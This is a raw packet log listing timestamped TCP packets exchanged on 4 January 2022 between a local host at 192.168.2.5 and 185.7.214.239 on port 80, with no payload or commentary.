Jan 4, 2022 19:33:53.006263971 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006287098 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006308079 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006315947 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006328106 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006334066 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006350994 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006364107 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006387949 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006390095 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006419897 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006422997 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006444931 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006448030 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006458044 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006474972 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006495953 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006516933 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006520987 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006542921 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006555080 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006570101 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006592035 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006613016 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006614923 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006634951 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006640911 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006665945 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006668091 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006692886 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006702900 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006707907 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006722927 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006747961 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006758928 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006772995 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006776094 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006799936 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006817102 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006828070 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006835938 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006855965 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006871939 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006882906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006902933 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006908894 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006933928 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006937027 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006953955 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006962061 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.006975889 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.006989956 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007006884 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007035971 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007039070 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007065058 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007088900 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007093906 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007117033 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007117987 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007143974 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007145882 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007172108 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007174015 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007179022 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007200003 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007220030 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007229090 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007241964 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007266045 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007270098 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007307053 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007313967 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007322073 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007344007 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007370949 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007385015 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007400036 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007412910 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007431030 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007442951 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007450104 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007467985 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007483959 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007505894 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007508993 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007533073 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007550001 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007560968 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007589102 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007595062 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007600069 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007617950 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007637978 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007638931 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007661104 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007674932 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007692099 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007718086 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007735968 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007739067 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007756948 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007757902 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007776022 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007796049 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007814884 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007834911 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007855892 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007878065 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007908106 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007935047 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007957935 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.007960081 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007971048 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.007982969 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008008957 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008018970 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008035898 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008039951 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008065939 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008074045 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008088112 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008105993 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008106947 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008125067 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008131981 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008143902 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008157015 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008162022 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008182049 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008184910 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008204937 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008213043 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008229971 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008244991 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008258104 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008275986 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008295059 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008296013 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008305073 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008320093 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008330107 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008341074 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008352995 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008372068 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.008384943 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008390903 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.008428097 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065159082 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065223932 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065262079 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065300941 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065347910 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065361023 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065373898 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065408945 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065450907 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065466881 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065500975 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065501928 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065546989 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065584898 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065602064 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065632105 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065634012 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065679073 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065685034 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065728903 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065731049 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065776110 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065781116 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065820932 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065859079 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065872908 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065901041 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.065912008 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065953016 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.065990925 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.066005945 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.066039085 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.066056013 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.066096067 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.066133022 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.066148043 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.066175938 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.066188097 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.066245079 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.066319942 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.067671061 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.067742109 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.067758083 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.067802906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.067851067 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.067856073 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.067864895 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.067923069 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.067956924 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.067990065 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.067991018 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068048000 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068109989 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068111897 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068154097 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068192959 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068203926 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068223953 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068255901 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068286896 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068305016 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068311930 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068355083 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068367958 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068414927 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068416119 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068455935 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068480015 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068506002 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068536043 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068557978 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068558931 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068598986 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068636894 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068650007 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068655014 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068692923 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068733931 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068774939 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068780899 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068806887 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068842888 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068917990 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068943024 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.068949938 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.068996906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069001913 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069098949 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069103003 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069149017 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069164991 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069201946 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069247961 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069262981 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069278002 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069325924 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069329977 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069360018 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069382906 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069411993 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069420099 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069468975 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069494009 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069521904 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069536924 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069576025 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069576979 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069622993 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069678068 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069685936 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069735050 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069747925 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069802999 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069804907 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069840908 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069865942 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069883108 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.069896936 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069935083 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.069946051 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070003986 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070007086 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070067883 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070133924 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070133924 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070138931 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070183039 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070199013 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070236921 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070254087 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070297003 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070342064 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070354939 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070395947 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070417881 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070446014 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070460081 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070517063 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070529938 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070565939 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070585966 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070624113 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070667028 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070679903 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070725918 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070734024 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070735931 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070785999 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070806980 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070832014 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070844889 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070877075 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070909023 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070929050 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.070954084 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.070960045 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071002007 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071008921 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071026087 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071062088 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071063995 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071115971 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071147919 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071177006 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071186066 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071201086 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071232080 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071242094 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071257114 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071307898 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071311951 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071348906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071404934 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071408033 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071446896 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071460009 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071492910 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071507931 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071532011 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071554899 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071583033 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071588039 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071640015 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071666956 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071685076 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071731091 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071739912 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071770906 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071787119 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071816921 CET	49876	80	192.168.2.5	185.7.214.239
Jan 4, 2022 19:33:53.071829081 CET	80	49876	185.7.214.239	192.168.2.5
Jan 4, 2022 19:33:53.071847916 CET	49876	80	192.168.2.5	185.7.214.239
